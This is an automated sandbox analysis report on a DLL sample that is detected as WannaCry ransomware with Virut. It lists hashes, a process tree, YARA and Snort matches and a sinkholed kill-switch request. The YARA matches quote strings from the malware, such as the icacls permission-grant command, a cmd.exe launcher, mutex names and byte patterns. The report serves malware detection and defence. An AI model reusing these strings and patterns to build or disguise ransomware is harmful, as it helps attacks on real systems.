Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
7KPQg3aXdC

Overview

General Information

Sample Name:7KPQg3aXdC (renamed file extension from none to dll)
Analysis ID:669609
MD5:77a33592ed14954642c7bd767f066a0d
SHA1:ff84165d564d0282fedfa2e4fa8d1fe14ff4b166
SHA256:54dab4ac11e49690382561c61c5f5bdbeca74d07decc45d4313228afcf3675ef
Tags:dllOpenCTIBRSandboxed
Infos:

Detection

Wannacry, Virut
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Detected Wannacry Ransomware
Malicious sample detected (through community Yara rule)
Yara detected Wannacry ransomware
Yara detected Virut
Antivirus / Scanner detection for submitted sample
Tries to download HTTP data from a sinkholed server
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Found evasive API chain (may execute only at specific dates)
Changes memory attributes in foreign processes to executable or writable
Tries to evade debugger and weak emulator (self modifying code)
Machine Learning detection for sample
Machine Learning detection for dropped file
Creates a thread in another existing process (thread injection)
Tries to resolve many domain names, but no domain seems valid
Drops executables to the windows directory (C:\Windows) and starts them
Contains functionality to detect sleep reduction / modifications
Uses 32bit PE files
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
Creates files inside the system directory
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Contains functionality which may be used to detect a debugger (GetProcessHeap)
PE file contains executable resources (Code or Archives)
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
AV process strings found (often used to terminate AV products)
Drops PE files
Contains functionality to read the PEB
Drops PE files to the windows directory (C:\Windows)
Checks if the current process is being debugged
Found large amount of non-executed APIs
Uses Microsoft's Enhanced Cryptographic Provider
May check if the current machine is a sandbox (GetTickCount - Sleep)
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 4932 cmdline: loaddll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 3952 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 5984 cmdline: rundll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • mssecsvc.exe (PID: 2892 cmdline: C:\WINDOWS\mssecsvc.exe MD5: A8212B35F3C2D69354A1FBA562DAA478)
          • winlogon.exe (PID: 576 cmdline: winlogon.exe MD5: F9017F2DC455AD373DF036F5817A8870)
          • lsass.exe (PID: 624 cmdline: C:\Windows\system32\lsass.exe MD5: 317340CD278A374BCEF6A30194557227)
          • fontdrvhost.exe (PID: 728 cmdline: fontdrvhost.exe MD5: 31113981180E69C2773BCADA4051738A)
          • fontdrvhost.exe (PID: 736 cmdline: fontdrvhost.exe MD5: 31113981180E69C2773BCADA4051738A)
          • svchost.exe (PID: 744 cmdline: c:\windows\system32\svchost.exe -k dcomlaunch -p -s PlugPlay MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 904 cmdline: c:\windows\system32\svchost.exe -k dcomlaunch -p -s LSM MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 372 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 256 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 472 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s lmhosts MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 696 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1040 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s TimeBrokerSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1060 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1172 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1304 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s EventLog MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1372 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s EventSystem MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1388 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s Themes MD5: 32569E403279B3FD2EDB7EBD036273FA)
          • svchost.exe (PID: 1452 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s lfsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
    • rundll32.exe (PID: 2520 cmdline: rundll32.exe C:\Users\user\Desktop\7KPQg3aXdC.dll,PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
    • rundll32.exe (PID: 3280 cmdline: rundll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll",PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
      • mssecsvc.exe (PID: 1548 cmdline: C:\WINDOWS\mssecsvc.exe MD5: A8212B35F3C2D69354A1FBA562DAA478)
        • tasksche.exe (PID: 5844 cmdline: C:\WINDOWS\tasksche.exe /i MD5: 3233ACED9279EF54267C479BBA665B90)
  • mssecsvc.exe (PID: 6120 cmdline: C:\WINDOWS\mssecsvc.exe -m security MD5: A8212B35F3C2D69354A1FBA562DAA478)
    • svchost.exe (PID: 812 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
      • BackgroundTransferHost.exe (PID: 4040 cmdline: "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 MD5: 02BA81746B929ECC9DB6665589B68335)
      • BackgroundTransferHost.exe (PID: 4332 cmdline: "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 MD5: 02BA81746B929ECC9DB6665589B68335)
    • svchost.exe (PID: 860 cmdline: c:\windows\system32\svchost.exe -k rpcss -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
    • dwm.exe (PID: 992 cmdline: dwm.exe MD5: 70073A05B2B43FFB7A625708BB29E7C7)
  • svchost.exe (PID: 3248 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 5320 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 3436 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 5084 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
7KPQg3aXdC.dllWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
  • 0x45604:$x1: icacls . /grant Everyone:F /T /C /Q
  • 0x353d0:$x3: tasksche.exe
  • 0x455e0:$x3: tasksche.exe
  • 0x455bc:$x4: Global\MsWinZonesCacheCounterMutexA
  • 0x45634:$x5: WNcry@2ol7
  • 0x3543b:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
  • 0x3028:$x7: mssecsvc.exe
  • 0x120ac:$x7: mssecsvc.exe
  • 0x1b3b4:$x7: mssecsvc.exe
  • 0x353a8:$x8: C:\%s\qeriuwjhrf
  • 0x45604:$x9: icacls . /grant Everyone:F /T /C /Q
  • 0x3014:$s1: C:\%s\%s
  • 0x12098:$s1: C:\%s\%s
  • 0x1b39c:$s1: C:\%s\%s
  • 0x353bc:$s1: C:\%s\%s
  • 0x45534:$s3: cmd.exe /c "%s"
  • 0x77a88:$s4: msg/m_portuguese.wnry
  • 0x326f0:$s5: \\192.168.56.20\IPC$
  • 0x1fae5:$s6: \\172.16.99.5\IPC$
  • 0xd195:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00
  • 0x78da:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44
7KPQg3aXdC.dllJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
    7KPQg3aXdC.dllwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0x455e0:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0x45608:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\Windows\tasksche.exeWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
    • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
    • 0xf4d8:$x3: tasksche.exe
    • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
    • 0xf52c:$x5: WNcry@2ol7
    • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
    • 0xf42c:$s3: cmd.exe /c "%s"
    • 0x41980:$s4: msg/m_portuguese.wnry
    • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
    • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
    • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
    C:\Windows\tasksche.exewanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
    C:\Windows\tasksche.exeWin32_Ransomware_WannaCryunknownReversingLabs
    • 0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ...
    • 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
    C:\Windows\mssecsvc.exeWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
    • 0x415a0:$x1: icacls . /grant Everyone:F /T /C /Q
    • 0x3136c:$x3: tasksche.exe
    • 0x4157c:$x3: tasksche.exe
    • 0x41558:$x4: Global\MsWinZonesCacheCounterMutexA
    • 0x415d0:$x5: WNcry@2ol7
    • 0x313d7:$x6: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
    • 0xe048:$x7: mssecsvc.exe
    • 0x17350:$x7: mssecsvc.exe
    • 0x31344:$x8: C:\%s\qeriuwjhrf
    • 0x415a0:$x9: icacls . /grant Everyone:F /T /C /Q
    • 0xe034:$s1: C:\%s\%s
    • 0x17338:$s1: C:\%s\%s
    • 0x31358:$s1: C:\%s\%s
    • 0x414d0:$s3: cmd.exe /c "%s"
    • 0x73a24:$s4: msg/m_portuguese.wnry
    • 0x2e68c:$s5: \\192.168.56.20\IPC$
    • 0x1ba81:$s6: \\172.16.99.5\IPC$
    • 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00
    • 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44
    • 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
    • 0x34aa6:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
    C:\Windows\mssecsvc.exeWannaCry_Ransomware_GenDetects WannaCry RansomwareFlorian Roth (based on rule by US CERT)
    • 0x1bacc:$s1: __TREEID__PLACEHOLDER__
    • 0x1bb68:$s1: __TREEID__PLACEHOLDER__
    • 0x1c3d4:$s1: __TREEID__PLACEHOLDER__
    • 0x1d439:$s1: __TREEID__PLACEHOLDER__
    • 0x1e4a0:$s1: __TREEID__PLACEHOLDER__
    • 0x1f508:$s1: __TREEID__PLACEHOLDER__
    • 0x20570:$s1: __TREEID__PLACEHOLDER__
    • 0x215d8:$s1: __TREEID__PLACEHOLDER__
    • 0x22640:$s1: __TREEID__PLACEHOLDER__
    • 0x236a8:$s1: __TREEID__PLACEHOLDER__
    • 0x24710:$s1: __TREEID__PLACEHOLDER__
    • 0x25778:$s1: __TREEID__PLACEHOLDER__
    • 0x267e0:$s1: __TREEID__PLACEHOLDER__
    • 0x27848:$s1: __TREEID__PLACEHOLDER__
    • 0x288b0:$s1: __TREEID__PLACEHOLDER__
    • 0x29918:$s1: __TREEID__PLACEHOLDER__
    • 0x2a980:$s1: __TREEID__PLACEHOLDER__
    • 0x2ab94:$s1: __TREEID__PLACEHOLDER__
    • 0x2abf4:$s1: __TREEID__PLACEHOLDER__
    • 0x2e2c4:$s1: __TREEID__PLACEHOLDER__
    • 0x2e340:$s1: __TREEID__PLACEHOLDER__
    Click to see the 2 entries

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000014.00000000.444706688.000000007FFF0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_VirutYara detected VirutJoe Security
      0000001D.00000000.521239097.000000007FFF0000.00000040.00000001.00040000.00000000.sdmpJoeSecurity_VirutYara detected VirutJoe Security
        00000006.00000000.393404837.000000000040F000.00000008.00000001.01000000.00000004.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
          00000006.00000000.397908031.000000000040F000.00000008.00000001.01000000.00000004.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
            0000000B.00000000.407337291.000000007FFD0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_VirutYara detected VirutJoe Security
              Click to see the 120 entries

              Unpacked PEs

              SourceRuleDescriptionAuthorStrings
              4.2.mssecsvc.exe.7100a4.1.raw.unpackWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
              • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
              • 0xf4d8:$x3: tasksche.exe
              • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
              • 0xf52c:$x5: WNcry@2ol7
              • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
              • 0xf42c:$s3: cmd.exe /c "%s"
              • 0x41980:$s4: msg/m_portuguese.wnry
              • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
              • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
              • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
              4.2.mssecsvc.exe.7100a4.1.raw.unpackwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
              • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
              • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
              4.2.mssecsvc.exe.7100a4.1.raw.unpackWin32_Ransomware_WannaCryunknownReversingLabs
              • 0x2016:$main_2: 68 08 02 00 00 33 DB 50 53 FF 15 8C 80 40 00 68 AC F8 40 00 E8 F6 F1 FF FF 59 FF 15 6C 81 40 00 83 38 02 75 53 68 38 F5 40 00 FF 15 68 81 40 00 8B 00 FF 70 04 E8 F0 56 00 00 59 85 C0 59 75 38 ...
              • 0x77ba:$entrypoint_all: 55 8B EC 6A FF 68 88 D4 40 00 68 F4 76 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 89 65 E8 33 DB 89 5D FC 6A 02 FF 15 C4 81 40 00 59 83 0D 4C F9 40 00 FF 83 0D 50 F9 40 ...
              9.2.mssecsvc.exe.7100a4.1.raw.unpackWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
              • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
              • 0xf4d8:$x3: tasksche.exe
              • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
              • 0xf52c:$x5: WNcry@2ol7
              • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
              • 0xf42c:$s3: cmd.exe /c "%s"
              • 0x41980:$s4: msg/m_portuguese.wnry
              • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
              • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
              • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
              9.2.mssecsvc.exe.7100a4.1.raw.unpackwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
              • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
              • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
              Click to see the 123 entries

              Sigma Signatures

              ⊘No Sigma rule has matched

              Snort Signatures

              Timestamp:192.168.2.68.8.8.865250532012730 07/20/22-07:08:16.364728
              SID:2012730
              Source Port:65250
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.6104.16.173.8049764802024298 07/20/22-07:04:24.421193
              SID:2024298
              Source Port:49764
              Destination Port:80
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.68.8.8.860238532012730 07/20/22-07:06:22.220258
              SID:2012730
              Source Port:60238
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.68.8.8.855201532024291 07/20/22-07:04:24.355956
              SID:2024291
              Source Port:55201
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.6104.16.173.8049872802024298 07/20/22-07:06:47.921489
              SID:2024298
              Source Port:49872
              Destination Port:80
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:104.16.173.80192.168.2.680498722031515 07/20/22-07:06:47.951188
              SID:2031515
              Source Port:80
              Destination Port:49872
              Protocol:TCP
              Classtype:Misc activity
              Timestamp:104.16.173.80192.168.2.680497642031515 07/20/22-07:04:24.458107
              SID:2031515
              Source Port:80
              Destination Port:49764
              Protocol:TCP
              Classtype:Misc activity
              Timestamp:8.8.8.8192.168.2.653620412811577 07/20/22-07:07:22.648255
              SID:2811577
              Source Port:53
              Destination Port:62041
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.68.8.8.858801532024291 07/20/22-07:06:47.811578
              SID:2024291
              Source Port:58801
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected
              Timestamp:192.168.2.68.8.8.861571532024281 07/20/22-07:06:53.420665
              SID:2024281
              Source Port:61571
              Destination Port:53
              Protocol:UDP
              Classtype:A Network Trojan was detected

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Multi AV Scanner detection for submitted file
              Source: 7KPQg3aXdC.dllVirustotal: Detection: 85%Perma Link
              Source: 7KPQg3aXdC.dllMetadefender: Detection: 71%Perma Link
              Source: 7KPQg3aXdC.dllReversingLabs: Detection: 90%
              Antivirus / Scanner detection for submitted sample
              Source: 7KPQg3aXdC.dllAvira: detected
              Antivirus detection for URL or domain
              Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comURL Reputation: Label: malware
              Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/URL Reputation: Label: malware
              Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/KAvira URL Cloud: Label: malware
              Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/_Avira URL Cloud: Label: malware
              Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/22www.iuqerfsodp9ifjaposdfjhgosurijfaewrwerAvira URL Cloud: Label: malware
              Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/LGAvira URL Cloud: Label: malware
              Source: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/xAvira URL Cloud: Label: malware
              Multi AV Scanner detection for domain / URL
              Source: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comVirustotal: Detection: 12%Perma Link
              Antivirus detection for dropped file
              Source: C:\Windows\mssecsvc.exeAvira: detection malicious, Label: W32/Virut.Gen
              Source: C:\Windows\tasksche.exeAvira: detection malicious, Label: TR/FileCoder.AU
              Multi AV Scanner detection for dropped file
              Source: C:\Windows\mssecsvc.exeMetadefender: Detection: 83%Perma Link
              Source: C:\Windows\mssecsvc.exeReversingLabs: Detection: 100%
              Machine Learning detection for sample
              Source: 7KPQg3aXdC.dllJoe Sandbox ML: detected
              Machine Learning detection for dropped file
              Source: C:\Windows\mssecsvc.exeJoe Sandbox ML: detected
              Source: C:\Windows\tasksche.exeJoe Sandbox ML: detected
              Source: 4.0.mssecsvc.exe.400000.6.unpackAvira: Label: W32/Virut.Gen
              Source: 4.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 24.0.tasksche.exe.400000.0.unpackAvira: Label: TR/FileCoder.AU
              Source: 9.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 6.0.mssecsvc.exe.7100a4.5.unpackAvira: Label: TR/FileCoder.AU
              Source: 6.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 9.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 4.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 6.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.400000.2.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.400000.4.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.7100a4.5.unpackAvira: Label: TR/FileCoder.AU
              Source: 6.0.mssecsvc.exe.7100a4.7.unpackAvira: Label: TR/FileCoder.AU
              Source: 6.0.mssecsvc.exe.400000.2.unpackAvira: Label: W32/Virut.Gen
              Source: 4.0.mssecsvc.exe.7100a4.7.unpackAvira: Label: TR/FileCoder.AU
              Source: 4.0.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 9.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 6.0.mssecsvc.exe.7100a4.3.unpackAvira: Label: TR/FileCoder.AU
              Source: 9.2.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 6.0.mssecsvc.exe.400000.0.unpackAvira: Label: W32/Virut.Gen
              Source: 6.2.mssecsvc.exe.7100a4.1.unpackAvira: Label: TR/FileCoder.AU
              Source: 24.2.tasksche.exe.400000.0.unpackAvira: Label: TR/FileCoder.AU
              Source: 4.0.mssecsvc.exe.7100a4.3.unpackAvira: Label: TR/FileCoder.AU
              Source: 6.0.mssecsvc.exe.400000.4.unpackAvira: Label: W32/Virut.Gen
              Source: 6.0.mssecsvc.exe.400000.6.unpackAvira: Label: W32/Virut.Gen
              Source: C:\Windows\tasksche.exeCode function: 24_2_004018B9 CryptReleaseContext,24_2_004018B9
              Source: 7KPQg3aXdC.dllStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

              Networking

              barindex
              Tries to download HTTP data from a sinkholed server
              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Jul 2022 05:04:24 GMTContent-Type: text/htmlContent-Length: 607Connection: closeServer: cloudflareCF-RAY: 72d927e8af955c44-FRAData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 53 69 6e 6b 68 6f 6c 65 64 20 62 79 20 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 20 53 69 6e 6b 68 6f 6c 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 73 69 6e 6b 68 6f 6c 65 2e 63 6f 6d 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 6c 61 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 69 67 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 68 31 3e 53 69 6e 6b 68 6f 6c 65 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 68 61 73 20 62 65 65 6e 20 73 69 6e 6b 68 6f 6c 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6b 72 79 70 74 6f 73 6c 6f 67 69 63 2e 63 6f 6d 22 3e 4b 72 79 70 74 6f 73 20 4c 6f 67 69 63 3c 2f 61 3e 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en-us" class="no-js"><head><meta charset="utf-8"><title>Sinkholed by Kryptos Logic</title><meta name="description" content="Kryptos Logic Sinkhole"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="//static.kryptoslogicsinkhole.com/style.css" rel="stylesheet" type="text/css"/></head><body class="flat"><div class="content"><div class="content-box"><div class="big-content"><div class="clear"></div></div><h1>Sinkholed!</h1><p>This domain has been sinkholed by <a href="https://www.kryptoslogic.com">Kryptos Logic</a>.</p></div></div></body></html>
